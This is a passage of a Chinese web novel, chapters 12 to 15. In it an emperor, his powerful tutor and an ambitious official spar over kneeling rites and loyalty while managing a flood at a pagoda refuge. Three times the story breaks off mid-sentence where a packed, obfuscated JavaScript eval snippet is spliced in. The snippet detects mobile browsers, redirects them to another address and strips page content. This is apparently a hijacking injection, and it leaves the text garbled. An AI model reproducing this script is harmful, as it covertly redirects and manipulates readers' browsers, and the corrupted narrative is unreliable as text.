“圣上,”齐净远偏过脸,笑盈盈地瞅着谢桐看,还问:“不会怪罪微臣这点小过错的吧?” 谢桐对他一贯不着调的性格已经习惯了,装模作样地唔了一声:“这礼节问题嘛……” “帝王尊称岂容冒犯。” 谢桐身后忽然响起另一个熟悉的嗓音,闻端冷冷淡淡地开了口,平静道:“齐侍郎,且慢。” 齐净远脚步一顿,就牵着谢桐手的姿势,回过了身。 “圣上新登基,众臣面圣,需行三叩九拜大礼。” 闻端站在离二人十几步远的地方,俊美的面容上眸光深深,语气里听不出丝毫情绪起伏: “圣上即位当日,齐侍郎既未能入宫观礼,那如今见到圣上,难道不应该依照祖制,再行一遍大礼吗?” 齐净远脸上依旧笑意不减,点点头道:“太傅的话有道理,是要臣就在此处行礼吗?” 众人不禁都把视线往下看去,佛塔山下,雨水冲刷着黄褐色的地面,泥浆横流,又脏又湿黏,要是在这地方跪下来叩拜,那怕是满头满脸都是黄泥浆了。 不少人面面相觑,不明白为何闻端突然要出言为难。 齐净远脸上的笑容也渐渐变淡了,桃花眸若有所思地盯着闻端看了一会儿。 而闻端在原地长身玉立,缓缓扬了一下唇角,嗓音优雅: “就在此处,有何不可?” 12. 裂隙 雨势逐渐小了,只剩下牛毛般的雨丝在半空中斜飞,罗太监等人默默收了伞,大气也不敢出地站在原地看闻端与齐净远对峙。 说是对峙也不妥,但自闻端提出要齐净远向谢桐下跪行礼的要求后,齐净远久久没有动作,气氛一时间僵住了。 谢桐不明白闻端在想什么,有心解围,出声道: “登基之事已过去许久,如今时节非常,这些不必要的繁文缛节便免了吧。” 齐净远与闻端对视了半天,彼此眼中情绪晦涩,听见谢桐的话,齐净远立即笑了一下:“谢圣上体谅。” “不过太傅说得的确没错,身为臣子,对圣上的尊重时刻不能忘。” 齐净远说着话,松开了牵着谢桐的手,转而干脆利索地屈膝跪地,当着所有人的面,举止规范地行了叩拜大礼,并道: “臣齐净远,恭贺圣上登基之喜,愿圣上万寿无疆,我朝国运昌盛,国泰民安。” 旁边的人也纷纷行了礼,嘴里说了一通恭贺之语。 齐净远行完大礼起身,膝上和手肘的衣袍布料、乃至额前垂落的碎发上都沾了泥水,自然是无法再靠近谢桐,只得在几步外站定。 谢桐很轻地蹙眉,问:“现在可以带朕进入佛塔了么?” 闻端不再出声阻拦,齐净远却没动。 “还请圣上稍候片刻,臣也忽然想起一事,要亲口问一问闻太傅。”齐净远道。 谢桐:“……” 一个两个的,都发什么疯?他们站得不累,朕可累了! 齐净远桃花眸弯弯,语速平缓,话里的内容却不怎么客气:“圣上登基当日,臣虽然还在奔赴东泉县途中,但也听闻了不少消息。” “据传,闻太傅在圣上登基,众臣叩拜之时,自始至终站在最前端,并未向圣上行跪礼。圣上首日临朝,太傅也称病未至金銮殿,而是在殿中留了一把太师椅,以此来彰显自己独特的身份。” 齐净远笑眯眯的:“闻太傅,您既然如此注重礼节,又为何在圣上面前频频失仪,甚至叫民间流传起了各类谣言,说圣上的这位子,不过是闻太傅您让给太子殿下的呢?” 这番话大逆不道,罗太监等人当即变了脸色,喝道:“齐侍郎,慎言!” 齐净远并不畏惧,又柔和了嗓音,装着困惑不解的模样说: “臣话中若有不妥,请圣上责罚。臣只是想多向闻太傅这样的礼仪人士学习一下,免得今后什么地方出了差错,惹人笑话。” 众人:“……” 这巧舌如簧、舌绽莲花的本事,真是令人大开眼界! 有聪明点的,比如罗太监,就忙低下头悄悄退去了后面,暗暗警告自己什么也没看见,什么也没听见。 闻端一时间没有答话。 四下的灯笼在夜风中摇曳,光线昏暗,谢桐瞧不清他面上的神情,只能望见那流畅优美的下颌线,以及轻抿着的薄唇,清俊的五官在灯火下显得沉静而稳重,周身的气势比这寒风细雨更冷。 谢桐忽然想知道闻端的回答。 他想知道,闻端会不会和那个预示梦中一样,对权势有着强烈的渴求和欲.望。 过了这一个多月,谢桐对那梦中的诸多细节已经难以回忆起,比如虽然记得东泉县水患一事,却对具体如何解决的无甚印象。 又或者,在那本《万古帝尊》中,谢桐其实根本没有亲自跨越千里来到东泉县。水患的解决,依赖于工部臣子和当地百姓的努力,所以留下来的文字记载也不多。 但不知为何,梦境内容繁多,谢桐却独独对与闻端有关的记录印象深刻。 比如,谢桐还能清晰地记起,闻端在书中是如何看待他这个天子的。 ——“不过傀儡尔。” 这五个字令得当时仍深陷梦境的谢桐心神俱颤,怒意几乎要将那几行短短的文字灼烧殆尽。 而现在,脱离了那个梦境,谢桐更想亲耳听一听闻端的答案。 齐净远寸步不让地拦在路中间,问出了那番胆大妄为的话,却丝毫不担心自己接下来的处境似的,依旧在等着闻端出声。 在窒息般的死寂中,闻端垂了下眼,缓缓开了口:“臣即便有不当之处,也是臣与圣上间的私事。” 齐净远皱眉:“可……” “齐侍郎若对臣的做法有责怨,可上书弹劾,圣上无论如何处罚,臣一力担着便是。” 话音落下,闻端掀起眼皮,墨眸直直与不远处的谢桐对视。 然后他就看见谢桐紧抿着唇,用力之大甚至使得唇色微微泛白,眼中情绪翻涌,其间含义复杂得令闻端难以揣摩。 闻端一怔。 短短几息后,谢桐的脸色恢复了冷淡,眸光漠然道:“闻太傅是帝师,于朕有数年教导恩情,朕允他不跪。” 齐净远像是有些意外,转眼去看谢桐:“但今日既然……” “行了。” 谢桐直接打断他的话,嗓音平静:“朕在这站得乏了,先进佛塔吧。” 齐净远及时止了话头,应道:“是。” 闻端看着谢桐毫不留恋地转过身,跟着齐净远离去。 自他的那句答话后,谢桐就再也没有看过他一眼。 罗太监见关蒙跟着谢桐远去,于是又靠到闻端身边,躬身询问:“太傅,咱们也跟上去吧?” 闻端立在原地,安静了许久。 “太傅?”罗太监看他久久不动,于是疑惑地再次喊了一声。 凉风细雨中,闻端垂首,伸出左手,指尖很轻地抚过右侧袍袖处的断口。 在对岸登船之前,谢桐用一把贴身小刀,把他沾了泥的袖口给削了。 那时候,闻端曾想起一个有名的典故,想说与谢桐听,或许会在那人秀丽的面容上瞧见惊愕的神情,很有意思。 但现在,这个有趣的典故,应该是没有机会再说出来了。 * 佛塔里燃着木炭,热烘烘的,谢桐一进去,身上萦绕不去的寒气和湿意就被驱逐了大半,让人心生舒适。 齐净远让人在第七层清理出了一块干净的地方,单独留给谢桐等人歇息。 “这里能看见整个东泉县主城的模样。” 齐净远带着谢桐走到塔上小小的窗子上,望着外面漆黑如墨的夜色,叹了一口气:“不过今天太晚了,看不清,等明天一早再给你讲讲吧。” 面对谢桐,齐净远全然没有面对君王的紧张束缚感,态度随意得一如当年谢桐还是太子时。 罗太监等人还在佛塔的底下几层与避难的百姓交谈,现在第七层只有谢桐和齐净远两人,齐净远索性省了敬语,道: “你既然都成了圣上,也不早点拨些人马过来东泉县支援,我这小身板差点就交代在洪水里了。” 谢桐看起来心情欠佳,面无表情:“朕现今不是过来了。” 齐净远不在意他冷淡的语气,继续道:“我朝自开国以来,从未有哪位天子为小小水患御驾亲至的先例,你在想什么?” 齐净远顿了顿,忽而玩笑般问:“不会是为了救我,所以才过来的吧,圣上?” 谢桐蹙眉:“你想得美。” “东泉水患蔓延,百姓伤亡不少,朕为此事前来有何不可?” 谢桐走到塔的窗口前,抬眼望出去,塔下围着一圈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13611908|143429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又一圈摇曳的火光——那是在仅剩的高地上躲避洪水的东泉县平民。 “朕既已登基,那这片土地上每一个人便都是朕的子民,洪水肆虐,百姓有难,朕应与他们站在一起,而不是像工部那群废物一样龟缩在皇城里,安然无恙地当他们的官老爷。” “何况朕来此,也有其他的考量,但此时提出还为时尚早。” 谢桐说这些话时,语气十分寻常,像是在谈论一些煮茶摘花的琐事。 齐净远站在他右侧,定定看着谢桐,良久后,低头轻笑了一声,自哂道:“圣上仁心深厚,臣自愧不如。” 谢桐这才想起问他:“你又是为何主动请缨,过来东泉县治水?” “要知道,”谢桐沉声说:“水患治不好,你这顶官帽可是会保不住的。” 齐净远颔首:“臣明白。” “但不入虎穴,又焉得虎子呢?” 他掸了掸衣袍上沾的泥水,笑容带着些许意味深长:“臣的性格,圣上又不是不知晓,能坐到今日这个位置,若是凭着踏踏实实地干事,可做不到。” 谢桐将目光从塔窗上移开,落在齐净远面上,嗓音冷静:“你想借着治水之功,一举夺得工部尚书之位?” 齐净远不偏不倚地注视着谢桐,一笑:“是。” “工部尚书刘黔软弱无能,碰上百年一遇的洪灾必会自乱阵脚,届时背上大罪,这尚书的位子,自然也就空出来了。” 谢桐沉默不语。 齐净远的判断准得可怕,刘黔确实因为水患一事丢了官职,而工部尚书的位置空悬,齐净远若是表现出色,有极大的可能将此官职收入囊中。 但前提是—— “你怎么确定闻端会同意?”谢桐淡淡问。 齐净远摇了摇头:“刘黔并不是闻太傅的人,是先帝在位时的旧臣,就凭这点,我就敢断定,闻太傅必然想除去刘黔。” “我与闻太傅,利益各取罢了。” 他笑道:“我取代刘黔的位置,当一个听话的闻党;闻太傅除去一个心腹之患,将朝廷上的人洗得再干净些。” “为了达成这个目的,” 齐净远伸手从怀中掏出了一副简版的地图,谢桐一眼看见上面有几句熟悉的字迹。 ……是闻端的字。 “闻太傅将他的治水之策给了我。” 齐净远唇角翘起:“他是个极其聪明的人,隔着千里,也能将此地的局势算出七八成,凭着他的对策,我才稳住了城内的形势。” “不过,他还是有一事算错了。” 齐净远慢吞吞道:“那就是……我齐净远,从来都不算是个听话的好臣子。” “见到圣上您的第一面,我就知道该站在哪一边。” 他看着谢桐,在谢桐怔愣之时,轻声开口说:“圣上,臣对您之心,天地可鉴。愿为纯臣,向圣上效犬马之力。” 谢桐有些意外。 齐净远的野心,他从很早之前就清楚,但在自己刚刚登基这个时候,齐净远就敢悍然叛出闻端的势力范围,转投在朝中尚未站稳脚跟的新帝,其胆大令谢桐也感到诧异。 “你——”谢桐刚说了一个字,忽然听见佛塔楼梯处有响动,于是抬眼一看,立时收住了话头。 闻端静静站在木阶处,一双墨眸幽深,不知道方才的讨论被他听去了多少。 “……臣刚刚与塔下百姓交谈,有些话,想单独与圣上说。” 几人僵持半晌,最后还是闻端开了口,语气很温和:“不知齐侍郎可否暂行回避?” 齐净远还没出声,谢桐率先蹙眉道: “不要。” 13. 跪礼 “朕与齐侍郎还有事商讨,” 谢桐移开目光,神色冷淡道:“太傅今日也累了,早些寻地方休息吧。” 闻端在木楼梯上站了片刻,出乎谢桐意料地,没有答应他这番要求,而是说: “圣上,臣确有急事禀奏。” 谢桐盯着窗外漆黑的夜色,语气略有不耐烦:“什么急事?你说便可,齐侍郎也是朕的臣子,又不是外人。” 齐净远敏锐地嗅到空气中不寻常的气氛,桃花眸弯了弯,道: “闻太傅,若是治水之事,臣也有必要留下来听一听,还请太傅不要藏着,有什么建议都告诉大家。” 闻端:“是臣与圣上的私事,齐侍郎在此多有不便。” 齐净远似笑非笑:“哦?是吗?还是说,闻太傅只是想找个借口,与圣上独处呢?” 谢桐:“……” 差点忘了这人的口无遮拦,什么借口不借口的,闻端怎么可能需要找借口来和自己独处? “停。” 谢桐眉心越拧越深,抬手摆了摆,示意齐净远先退下,烦躁道:“别说了,朕听就是。” 齐净远挑了下眉,识相地闭上嘴,施施然下佛塔去了。 最顶层只剩下谢桐与闻端二人。 佛塔是上窄下宽的造式,第七层空间并不宽阔,齐净远让人在这里摆了几张草垫子,上面铺了棉布,作为下榻休息的地方。而根据谢桐一路看过来的情景,这已经算是非常好的条件了。 谢桐拍了拍身上的衣袍,在一张离闻端最远的垫子上坐下,按捺着脾气问:“什么事?” 闻端抬步走上最后几阶木梯。 谢桐坐在垫子上,看着他越走越近,最后在自己面前几步之遥的地方停下。 “……”谢桐百思不得其解,不明白闻端想要做什么。 这么多年来,闻端鲜少有这样表现的时候。 就像是……要做什么很重要的事情一样。 随着闻端的靠近,谢桐的心跳不自觉地快起来,耳边是塔外淅淅沥沥的细雨声、底下人群的谈话声,以及闻端缓慢而沉稳的脚步声。 心脏如同被一只无形的手轻轻攥住,又放开,再攥住,如此循环往复,连细微的呼吸起伏都带来阵阵痒意。 谢桐垂在身侧的手指不自觉轻轻蜷缩了一下,扣住垫子上柔软的棉布,又很快放开。 “——闻太傅,”谢桐镇定自若地开了口,微微仰着头,问:“你到底要单独和朕说什么?” 闻端在他面前站了一会儿,垂着眼,似是在细细地看谢桐的样子。 谢桐被看得浑身不自在,眉又蹙起:“朕在和你……” 下一刻,他就见闻端一手撩袍跪地,给谢桐行了个堪称典范的请安礼。 谢桐呼吸一顿,几乎是被吓了一大跳。 闻端身形高大,即便单膝跪地,也比坐着的谢桐高了那么些许,熟悉的浅淡气息靠近,如雨水落入林中松柏,比往常更显沉静。 谢桐盯着男人交掩的领口发了一会怔,才后知后觉地反应过来:“你做什么?!” 半跪身后,闻端与谢桐的距离更近,几欲能感受到对方温热的呼吸,听见谢桐的话,闻端掀起眼皮,眸光深深,问道:“圣上可还生气?” “你……”谢桐心乱如麻:“朕何时……何时有生气?” 自从先帝病倒,闻端掌权后,谢桐就从未见他跪过任何人,即使是简单的单膝请安礼—— 在谢桐惊异的目光注视下,闻端维持着请安的姿势,缓慢道:“圣上方才,不是因为臣不愿向你行跪拜大礼而气恼么?” “……”谢桐不自在地别开脸,垂着睫说:“没有,朕说过了,你是朕的老师,为表尊敬,朕允许你不跪。” 闻端安静了一瞬。 谢桐不知道他信了还是没信,但实在有些难以忍受两人如今的姿势。 他从来没想过,闻端尽管在他面前半跪下.身,明明应该是如此谦卑的作态,却让谢桐感觉到比平常更强烈的压迫感。 太近了—— 谢桐一忍再忍,终于忍受不能,一手撑住地上的草垫子,猛地一用力,从坐着的地方站了起来。 “闻太傅,免礼。” 谢桐一连退了几步,同时尽量显得平静道:“好端端的,在这里给朕请安做什么?” 闻端不紧不慢地起身,用袖口拂去膝上沾染的一点灰尘,语气随意:“臣是怕圣上心有不满,特来向圣上解释的。” 谢桐轻吸了一口气:“朕说了,没有不满,没有生气,朕只是……” “只是在臣从不行跪礼的举止中,察觉到臣手里的权柄过重,对臣是否真正尊重你这个新帝、是否依旧存有想当一手遮天的权臣的心思,感到怀疑罢了。” “圣上,”闻端的嗓音仍然温和:“臣说的,对吗?” 谢桐站在离他几步远的地方,沉默了一会儿。 “是。”在这只有两个人的时候,谢桐索性也不再遮掩,大方承认了:“太傅,朕对你有所忌惮,难道不是很正常的事情吗?” “即使你今日在朕面前跪了,那又如何。” 谢桐淡淡道:“只要你一日不在朝上、不在众臣面前对朕跪,那今日这番举动,不过就是哄朕开心,并无实际益处。” 听见谢桐的话,闻端竟然唇角勾起,笑了一下。 “圣上心里想什么,臣其实明白。”他半点不恼,不疾不徐道:“但圣上的要求,恕臣不能做到。” 谢桐蜷起袍袖中的手指,语气冷冷地说:“你果真要对朕不敬吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617866|143429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 闻端却摇了摇头:“臣并非此意。” “那你是何意?” 闻端没有立即回答这个问题,而是反问了一句:“圣上,先帝登基之前是否为太子?登基后在位一共几年?期间政绩如何?” 谢桐愣了一下。 贸然评价前任帝王是大不敬,谢桐虽然对先帝感情不深,但仍对其有着基本的尊重,闻端突然问这些话,是为什么? 但看着闻端的墨眸,谢桐蹙了下眉,还是如实回答了: “父皇排行第四,当年并不是太子……但当年的太子于宫中谋逆,朕的皇叔尽死于宫变,父皇才顺应天命登基。” “父皇在位二十一年,期间轻徭役、薄赋税,将科举的文试武试分开,开了平民子弟也能科举的先河。与北境的匈奴打了三次大仗,后签订互通商路的和约,收复了北境丢失的六个小城。” 闻端慢慢点了点头,又问了谢桐另一个问题:“圣上觉得,先帝可是位明君?” “……”谢桐说:“朕不能妄论父皇的功过,交由史书与后人评说就是。” 闻端:“看来,圣上是觉得,先帝算不上一代明君。” 谢桐抿唇,不说话。 “先帝于宫变中夺得皇位,登基时不过三十有二,正是年富力强之时。在位数年,也有不少功绩,但直至圣上你即位,大殷依旧天灾人祸不断,各地小股流亡势力作乱,匈奴年年违背和约骚扰我境平民。” “暂且不论民间百姓如何看待,就连圣上你,都无法确定地说出,先帝是明君这个定论。” 闻端在塔内徐徐踱步,平淡道:“而圣上即位前,臣已经为你扫清了所有阻碍,只等你弱冠之年就可继承大统。” “先帝历经万难,最后依旧耽于美色,将朝廷治理得一团乌烟瘴气。” 闻端停在谢桐面前,目光对视间,他问: “那圣上又是如何觉得,自己这样从小就未得到正统皇储培养,依附着一个权臣顺风顺水得到皇位,不过二十岁就登基的年轻帝王,是可以将大殷治理好,成为青史留名的明君的呢?” 谢桐沉默了一刹那,很快又抬起眼:“朕不会是先皇那样的人。” 闻端颔首:“臣相信圣上。” “但要成为明君,光有自信是远远不够的。”他缓慢道:“圣上历练不足,又何以能担起重任,何以令众朝臣信服?” 谢桐神色微动:“你是说……” “圣上要当明君,先从夺回臣手中掌握的权力开始。” 闻端垂下眼,长长的睫毛在俊美面容上投下一小片阴影,低低道: “圣上,要臣在众人面前对你行跪拜礼,靠的从来不是请求,而应该是命令。” “臣也等着那一天,心甘情愿对圣上俯首之日。” 14. 奖励 第二日天刚蒙蒙亮,谢桐就下塔去寻齐净远。 昨夜他并没有睡好——不管怎样,谢桐在宫里睡了二十年的绵软床褥,即使是最落魄的时候,也没在草垫子上躺过,因此昨晚翻来覆去,好不容易才浅眠了一时半会。 当然,也有闻端就睡在旁边的缘故在。 原本齐净远命人在第七层摆了几张草垫子,但无人敢与新帝还有闻端睡在一起,就连齐净远也说晚上要留在第一层随时警戒,只留了谢桐二人在上面。 谢桐:“……” 事出有因,没办法。 但谢桐夜里听着闻端均匀的呼吸声,以及在熄了烛火后,在黑暗中闻端身上浅淡微冷的气息似乎越发明显,谢桐甚至感觉自己像是被这股气息牢牢包裹住,连翻身动弹时都分外粘滞。 ……为什么闻端像是睡得很熟一样? 谢桐睁眼盯着黑暗,忍不住腹诽,难道闻端以前在府中会时不时去睡草垫子,已经养成了习惯? 这种猜测明显属于胡思乱想,谢桐在闻府住那么多年,也没见过闻端睡在草上。 不过好在听上去,闻端已经睡着了,这让谢桐感到不那么紧张难堪,脑子里将这一路以来的所见所闻又回忆了一遍,终于迷迷糊糊有了困意。 再次醒来时,天色微熹,闻端已经不在旁边。 谢桐坐起身,随手将长发像齐净远一样用布条束起,目光往下一瞥,顿住了。 闻端昨天的那件外袍,正盖在谢桐身上,随着他的动作,自然滑落了下去。 谢桐伸手一捞,偶然间,还瞧见这件外袍上,被自己用刀割出的两道断处。 闻端是什么时候把这件外袍披到自己身上的? 自认为一夜未眠的谢桐难以理解。 ……虽然后半夜,的确是感到没那么寒冷了。 谢桐拎着袍子站起来,视线划过袖子上的断口,电光火石间,脑海中忽然掠过一个词语。 断袖。 谢桐:“……” 谢桐:“??!” 他拿着外袍站了片刻,在这个清晨,突然明白了当时闻端想告诉他的“典故”是什么。 上天作证,他根本没有想到那方面去! 谢桐咬牙把袍子捏紧了,把不该有的念头丢出脑海,径直下了塔去找闻端和齐净远。 找闻端,是要把衣袍还给他。 而找齐净远,自然是有关水患之事。 不过在找到人之前,谢桐先在塔外见到了关蒙。 年纪和谢桐一般的年轻暗卫首领,正和其他百姓一样,沉默地捧着一个饭碗,里面装着刚刚排队打来的米粥。 谢桐脚步停住,关蒙看见他,也拿着碗走过来。 并且把碗递到谢桐面前。 谢桐拒绝道:“不用,你自己吃吧,朕还不饿。” 关蒙摇摇头:“此地食物匮乏,圣上多少先用点。” 谢桐没接他的粥,不过倒是问了另一个问题:“昨天夜里,闻太傅是什么时候把他的外袍给朕盖上的?” 关蒙却明显犹豫了一下,说:“……臣不知。” 没等谢桐出声询问,他主动道:“佛塔结构紧密,难以窥视,何况闻太傅武学造诣在臣之上,有他在,臣不方便待在圣上附近。” 前半句话,谢桐还能理解。毕竟关蒙总不能大晚上趴在佛塔那窗子上往里看。 但后半句话,又是什么己不如人的借口? 难道不是正因为闻端这个大权臣就睡在谢桐身边,暗卫们才更需要密切保护吗?要是闻端三更半夜突然对自己做些大不敬之举怎么办? 谢桐蹙眉,有心想问责,但又不知道如何说,索性把手里的外袍塞到关蒙身上,淡淡道: “给你武功盖世的闻太傅送去吧。” 关蒙:“……?” * 谢桐找到齐净远时,他正蹲在距离佛塔几百米远的向下挖出的一个深洞边。 昨天行礼时被弄脏的衣袍已经换过了,或许是为了方便,齐净远今天穿了一身黑,更显肤色白皙,活脱脱一个俊俏青年。 “圣上来了。”齐净远像是背后长了眼睛似的,还未转身已先开了口:“昨晚睡得可好?” 谢桐:“尚可。” 齐净远走近两步,看着他笑了笑,说: “自从圣上昨天入了城,这延绵数月不断的雨就小了许多,今天早上更是停了雨,臣听百姓议论,都说是天佑圣上,此乃祥瑞。” 闻言,谢桐撩起长睫,望了一眼天空。 天色已不似昨日那般阴沉昏暗,相反,覆盖在东泉县上空的厚重云层,已经有了逐渐破开的迹象,几缕淡金色的光芒从缝隙中倾泻而出,像是很快便会出太阳了。 谢桐并不自喜,收回目光,平静道:“或是巧合罢了。” 没听见齐净远的回答,谢桐奇怪地朝他看去,却见齐净远一眨不眨地盯着自己的脸看。 谢桐:“你看什么?” 齐净远回过神,笑意加深:“许久未见圣上了,圣上登基后,容色越发绝艳倾城,臣看得呆了而已。” “……”谢桐说:“你闭嘴吧。” 齐净远这个人有时候是很讨人厌的,从谢桐八岁上太学,第一次遇见他时起,齐净远就喜欢逮着他说些奇怪的话。 要么说小谢桐长得像“小糖葫芦”,要么就是爱上手戳他的脸,并以此为乐。 谢桐成了太子后,齐净远的这些荒唐行径才收敛了。 “再多说一句废话,朕命人拔了你的舌头。”谢桐回忆起不愉快的往事,出声威胁道。 齐净远神色无辜:“臣说的是实话。” 谢桐烦他,干脆直接揭过了这个话题,问:“这就是你带人挖通的、与地下河相连的洞口?” 齐净远稍微正色了一点:“是,这也是闻太傅给臣的‘治水三计’中的一计,凭着这几个大洞,洪水才没蔓延至佛塔所在之地。” 谢桐又问:“把佛像搬出来扔到地上,也是闻端的计策?” “……”齐净远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13628222|143429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摸了摸鼻子,说:“不是,是因为先前急着把人都塞进塔里,臣自作主张下令的。” 谢桐:“。” “所以你蹲在这洞边是为何?” 谢桐淡淡问:“是地下河的水位已涨到了危险界线,还是佛塔下的地基受地上洪水和地下河的双重冲击,已经摇摇欲塌?” 齐净远一顿,桃花眸弯弯:“不愧是圣上,两个原因皆有。” “挖洞引水终究是缓兵之计,你们能撑到这个时候,已经很不容易了。” 谢桐一边绕着那洞口缓步走了半圈,一边开口:“但如今每日都有地面下陷的风险,佛塔坚固,里面尚算安全,外面的百姓却时刻都有性命之危。” 齐净远的笑意敛起,垂首道:“的确如此。” “为今之计,只有尽快将留在此处的人口转移出去。”谢桐说。 齐净远沉默了一下:“圣上,洪水摧毁了大部分的房屋和树林,这一个多月来,我们都还停留在原地,是因为无法做出足够的木筏载人,也不知该往何处去,在滔天洪水中乘舟前行,终究万分危险,所以迟迟不动。” 谢桐:“朕正是为解决此事而来。” 齐净远挑了下眉:“圣上有办法?” 谢桐说:“朕路上与闻太傅商讨了一些法子,但是否可行,还是要你们这些熟悉当地情况的人看过才知。” 齐净远点点头:“臣这就随圣上去找闻太傅。” “等一等,”谢桐似乎想起一件被他抛之脑后的事情:“东泉县当地的官府呢?” “哦,官府啊。”齐净远轻描淡写道:“岷江决堤那一日,那狗官就率先收拾包袱跑路了,好像出了城,或许被淹死了吧。” “剩下一些可用的主薄、杂役等,臣都带到佛塔这边来了,命他们负责日常的秩序维护和粮食发放。” 谢桐看着他毫不在意的模样,想了想,还是说:“这段时日,辛苦你了。” 东泉县府不作为,抵御洪水初期必定困难重重,即便齐净远手中握有闻端给的治水之策,要护着这么多人的性命也不容易。 齐净远“唔”了一声,语带笑意:“那圣上要如何奖励臣?” 谢桐:“……” 得了便宜就卖乖,不愧是齐净远。 “等治水之事毕了,自然会论功行赏。”谢桐道。 齐净远歪了下头,忽然说:“臣原先想的也是这样,等成了治水的功臣,必然官职更进一阶。但如今真的见了圣上,臣又有了新的想法。” 谢桐直觉不是什么很妙的想法,试图开口阻止,齐净远却比他更快地出声道: “臣突然觉得,在圣上身边当个暗卫或者近身侍卫也不错。” 齐净远眉眼弯弯,语气听不出真假地说:“圣上若要赏赐,要不就赏多臣一个跟在圣上身边的闲职,让臣平日里上朝后,还能有空在圣上身边一睹天颜。” “……” 谢桐冷冷道:“可以,等回去了,朕就赏你当朕身边的大太监,齐公公。” 15. 祥瑞 谢桐回佛塔的路上,总琢磨着觉得哪里不对劲。 齐净远以前骚话虽然也多,但也没有这么——这么出格过。 什么当暗卫、当近身侍卫的,暗卫可是要像关蒙那样,全天候守着谢桐,就连洗浴时都不能远离半步的。 难不成齐净远想躲在暗处看自己洗浴吗? 谢桐被这个突然冒出来的念头吓了一跳,但这个该死的想法却始终挥之不去。 刚才要回来之前,齐净远又抬袖想牵他的手,谢桐往后一避,蹙眉道: “你什么毛病?” 昨天抵达佛塔底下的时候,齐净远要来牵他尚且情有可原——夜色浓重、阴雨绵绵,齐净远作为当地目前官职最高的官员,为保护谢桐不在雨中滑倒,伸出手也可以理解。 但如今天色已大白,也没有下雨,谢桐走的又是平地,他还把手递过来做什么? 谢桐左思右想不得其解,而齐净远也没有解释的意思,见他神色紧绷,于是笑了笑,说: “圣上先去寻闻太傅吧,臣再记录下此处洞口的情况,很快就回去。” 谢桐:“……” 怪。 极怪。 直到步入佛塔,找到闻端的身影,谢桐也没能将那股怪异感压下去。 闻端正在第一层的角落里,微微弯腰,像是在与谁说话。谢桐走过去,才看见他正和角落的两个小孩交谈。 那两个灰头土脸的小孩紧紧挨在一起,看年纪应该是一对兄妹,被连日的避难饿得面黄肌瘦,谢桐瞧见闻端一手端着个木碗,递给了更大一些的哥哥。 “老师这是在作甚?”谢桐不禁问。 闻端把碗递过去,站直身,神色如常道:“臣把自己的早膳送给他们而已。” 谢桐有些意外,又看了两个低头喝粥的小孩一眼,问:“他们的父母呢?” “岷江决堤之前,被东泉县的官府派去城外挖壕沟引水,没能在闭城时赶回来,如今已失去联系了。” 谢桐默然不语。 “朕昨日已吩咐将带来的粮食都分下去,还是不够吗?” 谢桐环视四周,入目所见皆是疲惫瘦弱的百姓,眉心拧起:“那午时将朕的那份也给这些小孩吧,饿坏了可不行。” 闻端正注视着他,闻言道:“圣上,早膳你还没有用过。” “……”谢桐抬手捏了捏眉心,语气无奈:“朕不饿……饿个几天也没什么,这群人可是食不果腹几个月了。” 闻端却道:“圣上是天子,也是如今此地百姓的主心骨,圣上若是因饥饿显出孱弱,容易动摇人心。” “圣上先用了膳,再与臣商讨治水之策,可好?” 谢桐说不过他,只得叫罗太监端来米粥,在闻端面前吃完了。 简单用过早膳,齐净远也从佛塔外回来了,随意将记录用的粗麻纸别在腰带上,进来问道:“圣上,闻太傅,我们可以开始了吗?” 罗太监带人过来,在佛塔的第七层放上了一张勉强算是完好的矮几,又将从皇宫中带过来的地图放在上面。 谢桐、闻端、齐净远依次落座,齐净远看向那有着不少圈画痕迹的东泉县地图,挑眉道:“这是圣上自己做的记号?” “是,”闻端代谢桐回答:“圣上收到东泉县的消息后,在南下途中日夜钻研,为的是尽快想出解决的办法。” 谢桐心道,哪有这么夸张。 闻端这话说的,像是单单谢桐一人就能凭空想出那些法子似的。 但其实,闻端自己明明也在其中出力不少。 乘马车南下的半个月中,谢桐有过不切实际的构想,闻端也不急着否定,而是建议将里面难以实现的部分摒除,余下或有可能的部分,再与其他决策结合,加以改进。 可以说,谢桐手里针对东泉的完整治水方案,是闻端一步步引导而来的。 即使对闻端的权势始终心怀忌惮,谢桐也不得不承认,在治理朝政上,闻端比自己有经验且有手段。 “圣上一向聪慧,”齐净远笑盈盈地说:“我朝能有圣上这样的新君,是大殷之幸。” 谢桐尚对这番奉承话没什么反应,闻端倒是微微颔首,道:“臣也觉如此。” 谢桐:“……” 接下来,齐净远就着桌案上这张详细的东泉县地图,简单讲了讲主城内如今的情势。 “十之七八的土地和房屋已经被淹没,”齐净远用炭笔,在地图上画了几个圆圈:“还剩下这三处地方可以落脚。” 